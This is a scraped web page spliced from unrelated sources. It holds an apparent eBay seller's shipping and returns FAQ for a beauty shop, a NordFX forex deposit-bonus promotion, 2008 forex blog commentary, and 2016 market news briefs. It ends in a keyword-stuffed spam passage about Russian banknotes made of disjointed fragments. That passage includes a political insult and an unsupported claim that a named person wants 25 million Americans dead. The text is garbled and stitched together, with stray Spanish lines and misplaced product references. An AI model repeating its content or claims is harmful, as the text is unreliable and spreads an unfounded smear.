We will send you messages/emails at several stages through the whole buying process so you know exactly where your order is. We will notify you once the payment has been confirmed and then also when the item is in the packing department and ready to leave us.


¿Cuándo recibiré mi pedido?


Most of our orders arrive within 3-6 working days, even sooner if you have opted for Express delivery. Please note that if you select free shipping the order will be sent by Royal Mail, please allow up to 14 working days for UK Royal Mail deliveries.


I have not received my order?


On the odd occasion we do experience delays with the Royal Mail and orders can arrive later than expected. For this we sincerely apologise, we understand how frustrating it is.


Before you contact us to report a delay with your order please check that the payment has been confirmed and check your messages/emails to ensure we haven’t contacted you prior.


Standard UK Deliveries – 3-6 working days.


European Airmail – 5-8 working days.


International – 7-10 working days.


If you order has not arrived within the estimated timescales above, before contacting us, please contact your Local Post Office/Collection Depot as calling cards are not always left. Please visit www. royalmail. com or call 08457 740740.


If the Royal Mail are unable to advise you of your parcels location we need to allow a defined period before we can consider the parcel lost.


All Deliveries – A further 8 working days past the last estimated arrival date.


Finally, if the item has still not arrived by this date please contact us. We will take the matter further with Royal Mail and replace your order.


Express deliveries are sent via Parcelforce. If you have any problems please contact us and we can track the parcel location for you.


Please note that although the delivery service is next day, we cannot guarantee that we can send the item the same day.


How are my goods packaged?


As a company we try to be as environmentally friendly as possible. We try to use recycled materials where we can, so if your order turns up in a odd box don’t be alarmed this is just us re-using boxes we have acquired. Most orders will be packaged in a small box or parcel bag. We will pad the item with recycled shredded paper / Bubble wrap etc to keep the item in perfect condition for you.


Will I be charged customs or import tax?


All our prices are inclusive of VAT at the current rate. Countries outside of the UK may have additional charges which will need to be applied upon entry to the country, these are the responsibility of the recipient. We have no control over these charges and are unaware of the value, please check with your local customs office for more information. We are not able to mark orders as a lower value to avoid customs task, this is illegal.


Returns & Problems with your order


Our returns period is 30days, providing we receive the item un-opened and in a re-sellable condition we will give you a full refund.


When returning the item please post to the from address at the top of the invoice, please also include a copy of the invoice or a note which quotes your order no. so we know who the item is from.


I have receieved the wrong product, what do I do?


We hope that you never experience this, however although we check every order sent mistakes can still happen.


In this case please consider whether you would like to keep the incorrect item, if you would like to keep the incorrect item and also receive the correct item please contact us and we will be able to address the issue for you, (this saves you having to return the item.)


If the item received is of no use and you would like to return for the correct item then please send the incorrect item back to us by 2 nd Class post, on receipt we will send the correct item to you and refund the 2 nd Class postage costs.


My order has arrived Damaged, what do i do?


With Damage we need to deal with each case individually, please contact us via help@hairskinbeauty. com


Hair Skin Beauty is your portal for renowned professional Hair, Skin and Beauty products. We stock thousands of products from top brands such as, Kerastase, L’Oreal, Aveda and many more. All of our products are Brand new, Sealed and sourced directly through our own Salons. We would love to hear from you should you require any product or purchasing advice. Please just send us an eBay message if you have any issues.


Return policy details


If you have a problem with an order please let us know within 7 days of receipt. If the product is damaged in transit we will exchange the damaged product without charge to you. Please return the item to us in its Original state / packaging by 2nd Class Royal Mail, please include a copy of your invoice and make it clear what the problem is. We will send a new item to you ASAP and will refund the 2nd Class Postage cost. If the product appears to be faulty the first port of call is the Troubleshooting guide in the Instruction Manual, some of the late Digital Locomotives & Scalextric Sets are sensitive to set up, so please double check before contacting us. There is more information on the FAQ page regarding faulty products and solutions.


La mayoría de las compras de los vendedores de negocios están protegidas por las Regulaciones de Contrato del Consumidor 2013 que le dan el derecho de cancelar la compra dentro de 14 días después del día en que recibió el artículo. Obtenga más información sobre sus derechos como comprador: abre en una nueva ventana o pestaña y excepciones: se abre en una nueva ventana o pestaña.


55% Forex Deposit Bonuses NordFX Broker, NordFX


55% Forex Deposit Bonuses NordFX Broker.


We are delighted to announce that NordFX has won two nominations at the awards voting currency 2015 – Best Micro Forex Broker and Best Execution Broker. 55% Forex Deposit Bonuses NordFX Broker. Every year since 2010 Forex Awards selects the best Forex brokers and binary options.


Offer: 55% welcome Bonus Forex From NordFX Broker.


Date: Til 31 December 2016.


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About NordFX 55% Forex broker bonus news :


The customer can receive the bonus only once and only for one account.


Only one bonus can be received for one IP address. If the bonus is granted for two (or more) accounts opened from one IP, the bonus amount will be debited from all accounts except the account for which the bonus was first requested.


An internal transfer between accounts is not considered to be a deposit. Hence, the bonus claim cannot be submitted for a deposit made by internal transfer.


The 55% Bonus promotion is intended only for “Micro” and “Standard” accounts on МТ4. The offer does not extend to “Standard-MT5,” “ZuluTrade,” “Welcome!”, “Account 1:1000,” “MT-ECN,” “Integral” and “Premium” accounts.


The 55% Bonus offer does not extend to accounts that have already received other bonuses.


The 55% bonus is intended only for trading and cannot be withdrawn. At any attempt to withdraw the bonus from the trading balance, the 55% bonus will be deducted from the account.


The 55% bonus will be deducted if the customer submits a withdrawal request, including an internal transfer between his accounts or a transfer to the Personal Office balance.


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Since 2002, the Dollar has lost 70% of its value, relative to the Euro. Meanwhile, the same factors that signaled bearishness in 2002 persist in 2008, or even worsened in some aspects. The twin deficits are still growing, though the current account deficit may be leveling off. The US economy is headed towards recession. Inflation is set to rise due to soaring commodity prices and a loosening of monetary policy. As a result, many investors are betting that the Dollar’s slide will continue well into the near future.


However, prudent investors would be wise to "handle with care." While not entirely applicable to forex markets, efficient markets theory dictates that inherent in a security’s current valuation is all relevant, publicly available information. Thus, all of the bad news listed above has already been priced into the Dollar, to some degree at least. The rule of diversification is in full effect when betting on forex. Thus, rather then putting all of one’s chips directly behind one currency, an investors could buy foreign securities (stocks and bonds) instead, which also capture any currency appreciation (and depreciation). Investors can also purchase Treasury Inflation Protected Securities (TIPS), whose yield is linked to inflation and, thus, acts as a hedge against a declining Dollar. The Wall Street Journal reports:


While some market watchers believe the six-year dollar bear market isn’t over yet, investors should recognize that trends in the currency markets are typically marked by volatile ups and downs along the way.


In a recent article published in the Toronto Star, a Canadian columnist outlined five reasons why the Canadian economy is in trouble. Only a couple factors are unique to Canada, and several can be subsumed under the credit crunch, but the pessimists are sounding broad alarm bells. First on the list is the looming drop in prices for commodities, the cornerstone of Canada’s economy. Oil recently sank below $100/barrel, and gold dropped 5% in one day! In addition, China is threatening to curb demand in order to rein in inflation.


The second and third causes for concern are a decline in bank credit and loss of confidence, respectively. Neither of these factors are endemic to Canada, as banks around the world have suddenly developed an aversion to risk and have tightened lending accordingly. Next, corporate expansion (namely of American companies) is stalling; Home Depot and Proctor & Gamble have already announced a temporary hold on opening new stores in Canada. The final factor(s) are American consumers, which collectively spend $9 Trillion per year. The recent tightening of wallets could spell massive trouble for Canada, since some of its provincial economies are primarily driven by cross-border sales to Americans.


In short, the Canadian economy could actually contract in 2008. But perhaps the resulting decline in Canada’s currency, the loonie, would make Canadian exports comparatively more attractive and return the economy to firm footing in 2009.


Two American economists recently conducted a computer simulation to determine how the role of the US Dollar as the world’s reserve currency will evolve over the next decade. Their hypothesis - that the Dollar’s preeminence would be maintained - was contradicted by the simulation leading them to conclude that the Euro will overtake the Dollar within the next 10-15 years. This may be hard for many analysts to stomach, since the Dollar’s share in global currency reserves is 66%, compared to the Euro’s 25%. In addition, the Dollar has held its title for nearly 150 years, and it’s difficult to fathom its being replaced.


However, two factors have emerged within the last 10 years, lending support to the argument. First, the US twin deficits have exploded; the current account deficit approximates $800 Billion and the national debt is estimated at $9.4 Trillion. Second, prior to the inception of the Euro, there didn’t exist a credible alternative to the Dollar. The Deutsch Mark and Japanese Yen initially seemed like potential candidates, but the German currency was folded into the Euro, and the Japanese economy has soured and taken over by deflation. Then there are peripheral factors, like US monetary policy, which is facilitating inflation and eroding the Dollar. There are also signs that a neo-imperialist foreign policy has overstretched the US, and foreign Central Banks are becoming nervous. The Financial Times reports:


Many developing countries will find it harder to maintain their dollar pegs. They may be reluctant to drop them now but there will come a point when the rise in inflationary pressures becomes unbearable.


After the Fed cut its benchmark lending rate by 75 basis points last week, the Dollar immediately rallied 2.5% against the Japanese Yen, marking its highest daily rise in nine years. Some analysts are at a loss to explain this phenomenon, since a narrower interest rate differential should have produced the opposite effect. Perhaps, the answer can be found in the carry trade, whereby investors sell Yen in favor of higher-yielding currencies. Support for the carry trade typically moves inversely with volatility. For example, when risk aversion rises due to economic uncertainty, investors typically unwind their carry trade positions. With the Fed rate cut last week, however, risk aversion actually fell, and the S&P 500 Index surged. By no coincidence, the Yen fell. Reuters reports:


As U. S. stocks rallied, with investors willing to take on more risk, the dollar recouped some of Monday’s sharp losses versus the low-yielding yen.


Yesterday, the Forex Blog reported that the risk of intervention in forex markets is growing, in order to prop up an ailing Dollar. The focus of the post was on the Euro, which is hovering below the record high of $1.60 reached last week. With this post, we wish to extend coverage of the potential intervention to include Japan. In some respects, Japan is actually a more likely candidate for intervention, since it has a history of actively depressing its currency. Most recently, in 2004, it accumulated $350 Billion in Dollar-denominated assets in a large scale effort to keep the Yen from rising out of control.


Japan’s consumers are notoriously tightfisted, and consequently, its economy is dependent on the export sector to drive growth. Unfortunately, the more expensive Yen is making this sector less competitive. In addition, Japan’s new Prime Minister has yet to lay out an economic plan, and the stock market is foundering. A number of creative solutions are being mulled, including one to buy American mortgage-backed securities, in order to head off the international opposition to intervention. The New York Times reports:


That might win Washington’s approval by helping to ease the credit squeeze in the United States, but given such securities’ role in precipitating the crisis of the last several months, it might well set off cries of dismay here.


Last week, the Euro retreated from the record high of $1.60 that it achieved earlier in the week. Policymakers are still concerned, however, and are perhaps using this lull to come up with a plan of action should the Dollar resume its slide. In fact, the consensus among analysts is that coordinated intervention is likely if the Euro crosses a certain threshold - perhaps $1.65. In order to be successful, the intervention would need to involve the Federal Reserve Bank and the European Central Bank principally, as well as the peripheral participation of the Central Banks of Switzerland, Japan and England. The situation is complicated by the monetary policy of the ECB, the tightness of which is causing the interest rate differential with the US to widen dramatically. Already, volatility levels in forex markets are slowly climbing, suggesting that investors are bracing themselves for a big move. The Guardian UK reports:


ECB Executive Board member Lorenzo Bini Smaghi said in a speech on Tuesday markets sometimes overshot, with possible negative implications for the world economy. Since his speech, the dollar has strengthened by almost 2 cents against the euro.


In a thinly disguised effort to stem the appreciation of its currency, Brazil has announced sweeping changes to its rules governing forex. Rather than revert to outright intervention in the forex markets, however, Brazil will permit businesses to hold more foreign currency as part of their reserves. In this way, the Central Bank won’t have to purchase Dollar-denominated assets directly. Instead, it is hoping that the natural attraction of US and other Western capital markets will be enough to drive private Brazilian companies to increase their holdings abroad. It is intended that this will act against the upward pressure on the Real, which rose 20% against the Dollar in 2007, and 5% already in 2008, and now threatens to drag down the economy. Dow Jones reports:


The strong real has made some Brazilian manufactured exports such as textiles and footwear less competitive. Meanwhile, it also has introduced a boom in imports resulting in a narrowing of the country’s trade surplus.


In a recent commentary piece, the Market Oracle used the analogy of baseball to outline why this will be an "off year" for the Dollar, listing three reasons to support its claim. Consumer spending was listed first because it represents the largest component of US GDP. Since much consumption is financed through borrowing and since the credit crunch has forced banks to rein in lending, the Oracle reasoned that consumer spending will be especially hard hit. Next, there is the worsening employment picture. As its moniker implies, the "jobless recovery" that has characterized the US economy over the last few years did not add many jobs, and due to the economic downturn, jobs are now being shed. Finally, the Market Oracle has identified the Federal Reserve as a primary contributor to the decline of the Dollar. While the Fed is trying to shore up the economy, it is simultaneously enabling inflation. Thus, even if the battle is won and recession is averted, the Fed may still find that it has lost the war - on prices.


On Tuesday, the Federal Reserve Bank lowered its benchmark federal funds rate by 75 basis points, its sharpest cut in decades. The markets initially reacted positively to the move, which was intended to shore up sagging confidence in the economy and financial markets.


But the next day, most of the gains had been lost, as investors feared both that the recession has already begun and that the Fed is giving up on fighting inflation to battle the lost cause of the economy. In fact, as many analysts feel a recession is a foregone conclusion, the focus may soon turn to inflation, especially given exploding commodity prices and the sagging dollar. The New York Times reports:


"I’m disappointed," said an economist at Citigroup. "It’s not as if we’re trying to gauge policy priorities on a sunny day. I’d like to know how you’re going to get inflation in an environment with suffocating financial restraint and pervasive slowing in demand."


Ironically, the faltering US economy has induced the Dollar to appreciate against many of the world’s currencies. The reasoning is that countries whose economies are tied closely to the US will falter even more than the US during a recession. One of those countries is apparently Canada. As a result, the Bank of Canada has already moved to cut rates by 50 basis points in order to mitigate against a full-blown Canadian recession. All of the economic indicators are already pointing downwards and GDP growth is projected to be a paltry 1.8% in 2008. In addition, exports to Canada’s largest trade partner, the US, have sagged noticeably, such that its current account recently slipped into deficit for the first time in nearly a decade. The Bank of Canada is busy plotting strategy, with additional rate cuts in the offing. It looks like the monumental run of the Loonie has finally come to an end. Bloomberg News reports:


Canada’s dollar will probably remain within the range it has held since the start of the year because investors are still avoiding risk amid the unsettled U. S. economic outlook. It has traded within about 4 percent of parity with its U. S. counterpart, after surging last year as high as 17 percent.


Over the weekend, Bear Stearns, a prestigious American investment bank, hurriedly scrambled to find a buyer in order to avoid having to file for bankruptcy. While a buyer (JP Morgan) was ultimately secured, investors remained jittery, as the collapse of this magnitude is virtually unprecedented. When forex markets re-opened on Monday, the Dollar crashed against all of the world’s major currencies, namely the Euro and the Yen. Furthermore, analysts are now beginning to view forex intervention as increasingly likely. It’s still unclear whether the Bank of Japan or the European Central Bank (with or without support from the Fed) would spearhead any such intervention. At the breakneck speed at which events are unfolding, however, no one will be surprised if a plan is quickly cobbled together. The Wall Street Journal reports:


"Were such intervention to be seen, (the euro) could briefly trade down to $1.55, yet unless the (ECB) is prepared to back up such intervention with a rate cut, intervention will be futile," said [one analyst].


In recent periods of Dollar Weakness, all of the major currencies have been quick to capitalize - all but the Japanese Yen. After a while, it became clear that the Yen was being held down by carry traders, who sold Yen in favor of higher-yielding, more risky currencies. It was long believed that the only thing that would shake the Yen loose from its moorings was not a Japanese interest rate hike or economic growth, but volatility in capital and forex markets. Sure enough, the explosion of the credit crisis induced a rapid appreciation in the Yen. Yesterday, it crashed through the psychological milestone of 100 for the first time since 1995.


But can the Yen sustain this momentum? On paper, if the Dollar continues to fall, it seems the answer is ‘Yes.’ However, Japan’s economy is extremely dependent on exports. In fact, 50% of its 2007 GDP growth can be attributed to exports. With the Dollar crashing, Japan’s exports are becoming less competitive, and its exports to the US (estimated at $150 Billion) are in jeopardy. In addition, Japanese consumers are notoriously tight-fisted, so it’s unclear who would pick up the slack if the export sector falters. This begs another question: will the Bank of Japan be forced to intervene in currency markets (like it did in 1995) in order to prevent its economy from dipping into recession? The Wall Street Journal reports:


Its big budget deficit makes a stimulus package more difficult. Intervention — which Tokyo also tried in 2004 during a bout of yen strength — would fly in the face of efforts by the U. S. and other nations to let markets decide currency values.


On January 31, 2006, Ben Bernanke officially replaced Alan Greenspan as Chairman of America’s Federal Reserve Bank. At that time, the EUR/USD and USD/JPY exchange rates hovered around 1.20 and 118, respectively. For the first year of his tenure, Bernanke lived up to investor expectations and burnished his credentials as an inflation fighter by continuing a string of interest rate hikes begun by Greenspan. Fast forward to today, where the US economy is in tatters, inflation is raging, home and equity prices are slumping, and the Dollar has declined to $1.55 against the Euro and 100 against the Japanese Yen. Meanwhile, forex volatility levels are climbing rapidly, suggesting that the Dollar’s troubles still havn’t reached their climax.


Needless to say, currency traders - and a whole host of other investors and analysts - are furious with Bernanke. Many insist that he misled them, by downplaying the seriousness of housing jitters and insisiting stubbornly that inflation isn’t a problem. Even now, he is lowering interest rates in order to spur the economy, but at the expense of price stability. As any experienced currency trader can attest, low interest rates and high inflation are a recipe for a weak currency. Reuters reports:


Bernanke "has sacrificed the dollar in an attempt to save jobs and U. S. business," said one analyst. "He had to do something, but at the same time he is only putting off the crisis. We will face tight credit for a decade and we will have stagflation."


Last week, the Bank of Canada lowered its benchmark interest rate by 50 basis points, to 3.50%. Though the move was widely anticipated by analysts, whose only uncertainty was whether the bank would cut 50 bps or 25 bps, investors nonetheless punished the Canadian Dollar. The reason cited by the Central Bank in its press release accompanying the rate cut was a sagging economy, due in part to a more expensive Loonie and the concomitant decline in exports. In addition, the Bank indicated that it will likely have to cut rates further over the next few months in order to avoid recession. In short, it doesn’t look like the Canadian Dollar will upstage its 17% rise in 2007. Bloomberg News reports:


The central bank "has some very dovish words for the Canadian economy. Retaining the full easing bias and saying the risks to growth are intensifying have caught investors’ attention.”


Over the last couple weeks, the Dollar has plummeted against all of the major currencies, falling below the $1.50 mark against the Euro for the first time ever. It seems investors are reacting to a spate of negative economic data which are painting an increasingly bearish picture for the US economy. In addition, the Fed seems likely to lower rates further while the ECB will maintain rates at current levels. For a brief period, talk of recession was actually helping the Dollar, as investors predicted that the global economy would be harmed more than the US economy, but it looks like that period has passed. As a result, the EU is growing increasingly alarmed, and the pressure is building for some kind of intervention. AFX News Limited reports:


Euro group president Jean-Claude Juncker said currency markets are overreacting to the short-term outlook for the US economy. & Quot; We don’t like excessive volatility in exchange rates," Juncker said.


Yesterday, the European Central Bank (ECB) maintained its benchmark lending rate at 4%. Meanwhile, America’s Federal Reserve Bank has cut rates by 2.25% over the last six months. For years, the ECB existed entirely in the shadow of the Fed and conducted monetary policy accordingly, but in this latest downturn, it seems to have broken free. The reason for the split can be found in the Central Banks’ different mandates: the Fed aims to promote growth, while the ECB is charged primarily with creating price stability. Thus, the ECB can easily avoid succumbing to analysts’ expectations that it will ultimately lower rates. In addition, while EU politicians are pressuring the ECB to hold down the common currency, the ECB’s mandate is actually supported by the expensive Euro because it lowers the cost of imports. The New York Times reports:


Mr. Trichet has long held that central banks do their best work when their threats to raise interest rates deter inflationary actions in the first place, avoiding the need for excessive swings in the benchmark rate. [He] called this concept “credible alertness.”


Together with a consortium of large banks, Merrill Lynch recently formed ELEMENTS, which unveiled five new currency Exchange Traded Notes (ETNs). Before ML entered the market via ELEMENTS, there were only two banks offering currency ETF products: Barclays Capital and Rydex, whose funds are branded CurrencyShares and iPath, respectively. ETNs differ from ETFs in that the former represent a debt obligation whereas the latter represent a form of equity. In practice, however, since the risk of default is relatively low, the two types of securities are functionally equivalent. Both pay interest slightly below the benchmark interest rates of the currencies to which they are connected. The five new ELEMENTS ETNs are separately tied to the performance of the Canadian Dollar, Euro, Swiss Franc, British Pound, and Australian Dollar. Index Universe reports:


Why would anyone choose the new ELEMENTS ETFs? Because they make semiannual cash dividend payments to noteholders based on the interest income. The iPath ETNs, in contrast, incorporate that income into the value of the note … a kind of "virtual interest" that is only realized when the noteholder sells.


Yesterday, the Forex Blog featured a story that explained how to make money when volatility is low. The consensus of the article is that investors must shift their strategy from trading to trending, which requires an adjustment in outlook from short-term to long-term. But given that volatility is low and that currencies often move laterally against each other, how do you know which direction to bet on, and accordingly, when to buy or sell? The answer requires some minor technical analysis, involving two of the most basic tools available: support and resistance. These terms represent approximate price levels within which a specific currency appears to be trading. The significance of these levels is usually arbitrary, and is likely grounded in psychology rather than any real math. Furthermore, once the pattern is spotted, the support and resistance levels often become self-fulfilling, keeping the currency rangebound. But, when, for whatever reason, the currency dips below or rises above the range, it is probably a signal that it is a good time to sell short or buy, respectively. Trading Markets reports:


Though support and resistance are rather basic when it comes to technical analysis, they can be extremely effective for dexterous traders. And really, sometimes, keeping things simple is the best course of action anyway.


Based on several indexes, volatility in forex markets is nearing historic lows. How can this be explained, given the enormous daily swings in equity and bond markets? The first explanation is that business cycles, and by extension, monetary policies, are gradually synchronizing across the industrialized world, especially among the USA, EU, and Japan. When inflation rates and interest rates are similar across different countries, this mitigates any theoretical need for changes in exchange rates. The second explanation is that the tremendous growth in forex volume ($3 Trillion per day and rising) is increasing liquidity and lowering volatility.


More importantly, is it possible to profit in a climate where volatility is lacking? The answer is "of course." It simply involves a shift in strategy. When volatility is high, trading is usually the most profitable strategy: using technical analysis and churning your "portfolio" on a daily basis. On the other hand, when volatility is low, then trending is probably the best bet. Don’t forget: volatility is not the same as directional movement. If a currency appreciates every day by only a small increment and without any wild swings, volatility is low but the profit potential is high.


Read the rest of this entry »


Two weeks ago, then-First Deputy Prime Minister of Russia, Dmitry Medvedev, commented publicly on a more significant role for the Russian Ruble in the global economy, and especially in the regional economy. Fast forward to yesterday, when Medvedev was elected the next Prime Minister of Russia, which means his ideas on forex are more likely to become policy. Medvedev has argued in favor of turning the Ruble into a regional reserve currency. This would first necessitate liberalizing its forex policy by permitting the Ruble to float freely; it is currently fixed to a basket of Euros and Dollars. Given the uncertainty surrounding the Dollar and the global economy at large, as well as the recent boom in Russia’s economy, Medvedev clearly smells an opportunity. Neighboring (former Soviet bloc) countries could be persuaded to denominate their reserves partially in Rubles as well as to consider using Rubles in energy transactions. Reuters reports:


Russia, which receives most of its energy revenues in dollars, buys euros, pounds sterling, yen and Swiss francs to diversify its $478 billion gold and forex reserves, the world’s third-largest.


Measures changes in the selling prices producers charge for goods and services, and well as tracks how prices feed through the production process. Because producers tend to pass on higher costs to consumers as higher retail prices, the PPI is valuable as an early indicator of inflation. Simply put, inflation reflects a decline in the purchasing power of the Dollar, where each dollar buys fewer goods and services. The report also gives insight into how higher prices from raw materials flow toward the final product.


A rise in PPI signals an increase in inflationary pressures. Given the economic instability associated with rising price levels, the Fed often will raise interest rates to check inflation. A low or falling PPI is indicative of declining prices, and may suggest an economic slowdown.


The headline figure is expressed in percentage change of producer price.


Notes: The PPI records prices at various stages of production: raw goods, intermediate goods and finished goods. Though intermediate and crude goods prices do provide insight for future inflationary pressure, it is the price of finished goods that generates most interest for market participants. The finished goods data is able to gauge price pressure before the goods reach the retail market.


Russia's oil extraction at its peak


This September Russia has hit a new record in oil extraction since the breakup of the Soviet Union – 10.74 million barrels a day. According to reports from The Wall Street Journal, black gold production rose by 0.4% versus the preceding month’s figures. The previous peak of 10.71 million barrels per day was registered in March. Pavel Kushnir, an oil and gas strategist at Deutsche Bank, said low prices for crude oil exerted no pressure on Russia’s production plans. He also added that this year daily oil production is likely to be 10.6 million barrels, which will be another record of the Northern country. Such a high level of production in Russia makes a huge contribution to the oversupply in the global market. According to The WSJ, it means Russia has no plans to unite with OPEC to reduce extraction and increase the cost of energy. Recently, the cartel reported that it was ready to take that step only if other exporters joined it. Co-founder of Macro-Advisory Christopher Weafer say that Russia is following its own strategy of the highest crude oil production, and is going to deal with its effects on the global market later. Weafer emphasized that the Russian Federation is not interested in cooperation with OPEC in the matter of supply control.


Published: 2015-10-08 12:58:00 UTC


18 Mar 2016, 07:53 UTC+00


Bank of Japan's minutes of its January meeting stated policymakers are open to expanding their enormous quantitative easing program. Released Friday, the minutes showed central bank officials considered enlarging asset purchases and unveiling negative rates before deciding to implement the second option. Minutes of the January 28-29 meeting said board members.


18 Mar 2016, 07:52 UTC+00


Germany's producer prices declined more than anticipated last month as energy prices continued to apply downward pressure. According to Destatis, producer prices dropped by 0.5% in February from -0.7% in January. It slid by 3.0% last month from a year ago. Producer prices, excluding energy prices, slipped by 0.1% in February, which were 0.7% lower in the previous.


18 Mar 2016, 05:13 UTC+00


Japan's 10-year bond yield touched a record low, lower than the negative deposit rate unveiled by the Bank of Japan in February. The yield on the 0.1% notes to mature on March 20, 2026 tumbled to -0.135%, down 8 basis points, while the yield on 20-year government debts slid to 0.29%.On January 29, the BOJ revealed it would levy interest on certain deposits held at.


18 Mar 2016, 02:24 UTC+00


Oil futures recorded new peaks for 2016 as optimism escalated major producers would agree on capping production. US crude CLc1 closed at $40.15 per barrel, down 5 cents. It previously climbed to $40.55, its highest this year. Brent LCOc1 ended at $41.36, down 18 cents. It earlier touched $41.60, its peak this year. Since the Organization of the Petroleum Exporting.


18 Mar 2016, 02:23 UTC+00


Encryption engineers at Apple would rather leave the tech giant than assist the FBI in unlocking an iPhone owned by a San Bernardino shooter. Over half a dozen previous and current Apple employees are already discussing their potential moves if the FBI secures a court order to force the company to help law enforcement authorities. They might either resign or balk at.


17 Mar 2016, 09:00 UTC+00


American oil and gas company ExxonMobil still considers plans to build a liquefied natural gas (LNG) plant either in the island of Sakhalin or in Khabarovsk region in Russia's far east, Alex Volkov, vice president for ExxonMobil Russia, said on Thursday."We will promote our project at a pace which will ensure maximum profitability both for investors and the state”.


17 Mar 2016, 08:41 UTC+00


Exports in Japan declined for 5th consecutive month in February, and concerns remain the weak demand abroad could put the country into its fourth recession in five years even though shipments to China is picking up pace. The Ministry of Finance reported exports dropped 4.0% year-on-year last month from 12.9% in the preceding month. Exports to Asia decreased 6.1% in.


17 Mar 2016, 08:40 UTC+00


A report warned Donald Trump becoming the next US president is considered one of the top 10 perils encompassing the world. The Economist Intelligence Unit said the business magnate could interrupt the global economy, as well as intensify political and security perils in the United States. But the research firm is not expecting Trump to beat HIllary Clinton, which.


17 Mar 2016, 07:09 UTC+00


LG Display Co Ltd said it will invest to build a new production plant that will manufacturing organic light-emitting diode panels for its lighting business in South Korea. In a statement, the consumer electronics screen maker said the new plan will start its mass production in the first half of 2017. The investment amount was not disclosed. The investment comes as.


17 Mar 2016, 06:58 UTC+00


Bloomberg reported that New York's Plaza Hotel will be on sale on an auction next month. David and Simon Reuben hold the mortgage on the five-star hotel and scheduled a foreclosure auction for April 26, Bloomberg said, citing a source. For sale are the Plaza's hotel rooms, its restaurants and retail space, Bloomberg reported.


17 Mar 2016, 06:42 UTC+00


The government of Germany would welcome efforts of Deutsche Boerse and the London Stock Exchange merger if they led to a boosting of Frankfurt as a financial center, Steffen Seibert, German government spokesman said. He told reporters, "the shape of the European stock exchange market is important for Deutsche Boerse and if their efforts would lead to a strengthening of.


17 Mar 2016, 05:47 UTC+00


Saudi Aramco and Royal Dutch Shell Plc revealed they are planning to dissolve Motiva Enterprises LLC and divide assets in their joint venture. The news was widely anticipated by many analysts and investors as the two energy firms are going through a frequently frayed relations in which their respective interests sometimes clash. Also, the Saudi government mulls selling.


17 Mar 2016, 02:28 UTC+00


Federal Reserve policymakers refrained from escalating borrowing costs and lowered predictions for hiking interest rates this year, attributing their decision to the impact of financial market upheaval and weaker global growth on the US economy. The Federal Open Market Committee retained the benchmark rate at 0.25% to 0.5% following their two-day convention in.


17 Mar 2016, 02:27 UTC+00


People's Bank of China increased the daily fixing for Chinese yuan by the most in nearly a week following the US dollar slumped as the Federal Reserve pared interest rate projections. The reference rate was raised by 0.32% to 6.4961 to the dollar. The offshore yuan ended down 0.12% at 6.4934, extending losses from previous session. The US central bank, in a.


16 Mar 2016, 09:03 UTC+00


Deutsche Borse AG and London Stock Exchange Group agreed terms on a merger of equals, establishing a European trading giant. Based on a statement, Deutsche Borse equity holders will own 54.4% of the combined group, while LSE shareholders will get 45.6%. German bourse's Chief Executive Carsten Kengeter will lead the merged firms, while LSE CEO Xavier Rolet will.


16 Mar 2016, 09:03 UTC+00


Crude prices climbed as producers will meet in Qatar to talk over an output cap and projections of US production deadlines. Crude futures CLc1 closed at $36.64 a barrel, up 30 cents. Brent LCOc1 ended at $38.85 a barrel, up 11 cents. Oil increased following prices slipped around 2% the last session. Sources at the Organization of the Petroleum Exporting Countries.


16 Mar 2016, 08:13 UTC+00


The government of Kenya named Eric Kiraithe, former general manager for security services at Kenya Airports Authority, as its spokesman, the presidency said. Kiraithe was a former spokesman for the Kenyan police, according to a statement e-mailed Wednesday from the capital, Nairobi. Kiraithe will report to the Interior Ministry, the presidency said.


16 Mar 2016, 05:12 UTC+00


Premier Li Keqiang announced China is seeking to institute a stock trading connection between Hong Kong and Shenzhen in 2016.During his annual news conference in Beijing, Li said the Chinese government will try their very best to start establishing the link this year. Under the plan, the exchange linkage will expand the current program between Hong Kong and.


16 Mar 2016, 03:58 UTC+00


Bank of Japan Governor Haruhiko Kuroda said the central bank has enough legroom to lower interest rates to about -0.5%, countering speculations that their decision to implement negative rates will halt him from pushing through with their monetary policy. Addressing the parliament, Kuroda said he cannot determine the policy tools to be used in the event they decided to.


16 Mar 2016, 03:57 UTC+00


European banks were on course to sell most bonds since May, as the median investment grade rated bond yield slipped below 1%.As the European Central Bank unveiled plans to begin purchasing corporate paper last week, investor demand for bonds has escalated. Corporate treasurers noticed declining yields, with banks and firms aiming to secure higher demand from.


15 Mar 2016, 08:33 UTC+00


Asian stocks lost its momentum as some analysts and traders are becoming more vigilant following the recent advance. Japan's Nikkei ended at 17,117.07, down 0.68%. Hong Kong's Hang Seng Index inched down 0.72%. South Korea's Kospi settled at 1,969.97, down 0.12%. The Shanghai Composite and the Shenzhen Composite ended down 1.02% and 1%, respectively. The Bank of.


Forex through a russian banknotes 1917


This is the same process that's fuelled our Sun for the past 4. Bill Ayers, Obirdbrain's mentor still wants 25 million law abiding American citizens dead so he can have his progressive utopia. The PMI summarizes the opinions of these executives to give a picture of the future of the manufacturing sector. I seem to recall that the ruble has collapsed, been called in, and redenominated about seven or eight times since 1917.


Forex through a russian banknotes 1917 - When


East German Currency More Coin Currencies Money, Currency Forex, Coin Menagerie, Currency S, Currency Coin, Berlin Germany East German Currency forex forex through a russian banknotes 1917 broker trading fx money currency Berlin DDR. In the civil war and subsequent clashes in the former Yugoslavia, Russia was sympathetic toward the Serbs, a traditional ally, and there was considerable Russian opposition to such policies as NATO's bombing of Serb positions, especially in 1999. PetersburgCentral MoscowVolga Nizhny NovgorodNorth Caucasus Rostov-na-DonuUrals YekaterinburgSiberia Novosibirskand Russian Far East Khabarovsk. Ponlo o callate. They found an outlet in the unsuccessful Decembrist Conspiracy of 1825 see Decembristswhich sought to prevent the accession of Nicholas North Caucasus In this area, descending northward from the principal chain of the Caucasus Mts. Rossiya, republic 2005 est. During the second half of the 19th cent. Information on the period from 1917 to 1991 can be found in the entry on the Union of Soviet Socialist Republics. Russia is in even worse shape than Britain was forex through a russian banknotes 1917 1992. Vijf Gulden biljet; Wat kon je daar toen veel voor kopen. Standard Disclaimer: Agree with the point the Western bankers are causing all the mischief. In the end, Moscow got lucky. Khodorkovsky was convicted in May, 2005, in forex through a russian banknotes 1917 verdict that took the judges 12 days to read. Time avantreyd forex cargo bahrain contact not on putin regime side. Following the failed August Coup and independence, the assets of the Communist party were seized and a new era of a market-based economy was proclaimed. The figure represents changes in the combined producer and import price index, calculated from changes in producer prices and import prices, giving appropriate weight to the proportion of domestic and imported goods. Market forces played no part in their decision-making.


Forex through a russian banknotes 1917 - Theme


